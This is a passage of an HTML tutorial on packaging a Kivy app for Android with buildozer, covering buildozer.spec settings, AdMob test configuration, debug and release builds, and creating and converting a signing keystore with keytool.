&lt;section class=&quot;section2&quot; id=&quot;run-8-[create-buildozer-spec]&quot;&gt;
&lt;h2&gt;🥝 Run 8 [Create Buildozer Spec]&lt;a class=&quot;headerlink&quot; href=&quot;#run-8-[create-buildozer-spec]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;what works: function + python_for_android + wav&lt;br /&gt;Type &quot;y&quot;&lt;br /&gt;Press Refresh Folder at the left&lt;br /&gt;open buildozer.spec file&lt;br /&gt;add &quot;wav&quot; in file used&lt;br /&gt;add &quot;python_for_android&quot; in require&lt;/p&gt;&lt;br /&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;buildozer&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;init&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;div&gt; &lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;p&gt;ADD specifications to buildozer.spec&lt;b&gt;&lt;br /&gt;API List :- &lt;/b&gt;&lt;a href=&quot;https://source.android.com/setup/start/build-numbers&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;https://source.android.com/setup/start/build-numbers&lt;/a&gt;
&lt;/p&gt;&lt;/div&gt;&lt;br /&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;4&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;title&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;YOUR&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;APP&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;NAME&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;7&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;package&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;yourappname&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;10&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;package&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;domain&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;com&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;companyname&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;yourappname&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;16&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;source&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;include_exts&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;wav,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;ttf&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;39&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;requirements&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;kivy,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;python_for_android,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;android,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;jnius,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;kivmob&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;52&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;icon&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;filename&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;png&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;55&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;orientation&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;landscape&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;78&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;fullscreen&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;1&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;88&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;permissions&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;INTERNET,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;ACCESS_NETWORK_STATE,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;WAKE_LOCK&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;91&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;api&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;30&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;94&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;minapi&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;21&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;97&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sdk&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;24&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;100&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ndk&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;b&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;159&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;gradle_dependencies&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;com.google.firebase:firebase-ads:10.2.0&#39;&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;203&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;wakelock&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;True&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;206&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;meta_data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;com&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;google&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;gms&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ads&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;APPLICATION_ID&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ca&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pub&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;3940256099942544&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;~&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;3347511713&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;236&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;p4a&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;branch&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;master&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;...&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# For test ads, use application ID ca-app-pub-3940256099942544~3347511713&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;meta_data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;com&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;google&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;gms&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ads&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;APPLICATION_ID&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;{ADMOB_APP_ID_HERE}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
  
&lt;section class=&quot;section2&quot; id=&quot;run-9-[adding-admob-to-kivy]&quot;&gt;
&lt;h2&gt;🥝 Run 9 [Adding Admob To Kivy] [install kivmob for Admob]&lt;a class=&quot;headerlink&quot; href=&quot;#run-9-[adding-admob-to-kivy]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;*Note If you don&#39;t wish to use Admob then Skip this step&lt;/p&gt;&lt;br /&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pip&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;kivmob&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;


&lt;section class=&quot;section2&quot; id=&quot;run-10-a-[create-app-as-debug-mode]&quot;&gt;
&lt;h2&gt;🔴 🥝 Run 10 A [Create App As Debug Mode]&lt;a class=&quot;headerlink&quot; href=&quot;#run-10-a-[create-app-as-debug-mode]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you wish to test it on your phone run this line.&lt;br /&gt;Type&quot;y&quot;&lt;br /&gt;This will take upto 15 ~ 20 minutes or more. upto 35 minutes.&lt;/p&gt;&lt;br /&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;buildozer&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;v&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;debug&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;


&lt;section class=&quot;section2&quot; id=&quot;run-10-b-[create-app-as-release-mode]&quot;&gt;
&lt;h2&gt;🟢 🥝 Run 10 B [Create App As Release Mode]&lt;a class=&quot;headerlink&quot; href=&quot;#run-10-b-[create-app-as-release-mode]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you wish to upload in google play store run this line.&lt;br /&gt;Type&quot;y&quot;&lt;br /&gt;This will take upto 15 ~ 20 minutes or more.&lt;/p&gt;&lt;br /&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;buildozer&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;v&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;release&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;


&lt;section class=&quot;section2&quot; id=&quot;run-11-[clean-previous-app-built]&quot;&gt;
&lt;h2&gt;🔵 🥝 Run 11 [Clean Previous App Built]&lt;a class=&quot;headerlink&quot; href=&quot;#run-11-[clean-previous-app-built]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Cleaning old settings.&lt;/p&gt;&lt;br /&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;buildozer&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;clean&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;


&lt;section class=&quot;section2&quot; id=&quot;run-12-[check-if-&#39;keystore-maker&#39;-is-installed-and-running.-it-is-called-&#39;keytool&#39;]&quot;&gt;
&lt;h2&gt;🥝 Run 12 [Check If &quot;keystore maker&quot; is installed and running. It is called &quot;keytool&quot;]&lt;a class=&quot;headerlink&quot; href=&quot;#run-12-[check-if-&#39;keystore-maker&#39;-is-installed-and-running.-it-is-called-&#39;keytool&#39;]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keytool&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;h&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;


&lt;section class=&quot;section2&quot; id=&quot;run-13-[create-folder-named-keystores]&quot;&gt;
&lt;h2&gt;🥝 Run 13 [Create Folder Named Keystores]&lt;a class=&quot;headerlink&quot; href=&quot;#run-13-[create-folder-named-keystores]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;mkdir&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;keystores&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;


&lt;section class=&quot;section2&quot; id=&quot;run-14-[creating-keystore]&quot;&gt;
&lt;h2&gt;🥝 Run 14 [Creating KeyStore]&lt;a class=&quot;headerlink&quot; href=&quot;#run-14-[creating-keystore]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keytool&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;genkey&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;v&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keystore&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;keystores&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;kivyapp&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keystore&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;kivyapp&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sigalg&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;SHA256withRSA&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keyalg&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;RSA&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keysize&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;2048&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;validity&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;10000&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;


&lt;section class=&quot;section2&quot; id=&quot;run-15-[convert-jks-keystore-to-pkcs12-format-keystore-which-is-an-industry-standard-format.]&quot;&gt;
&lt;h2&gt;🥝 Run 15 [Convert jks keystore to pkcs12 format keystore which is an industry standard format.]&lt;a class=&quot;headerlink&quot; href=&quot;#run-15-[convert-jks-keystore-to-pkcs12-format-keystore-which-is-an-industry-standard-format.]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keytool&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;importkeystore&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;srckeystore&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;keystores&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;kivyapp&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keystore&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;destkeystore&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;keystores&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;kivyapp&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keystore&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;deststoretype&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;pkcs12&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;


&lt;section class=&quot;section2&quot; id=&quot;run-16-[validate-our-new-personal-certificate]-password-i-am-using-123456789&quot;&gt;
&lt;h2&gt;🥝 Run 16 [Validate our new personal certificate] Password I am using 123456789&lt;a class=&quot;headerlink&quot; href=&quot;#run-16-[validate-our-new-personal-certificate]-password-i-am-using-123456789&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
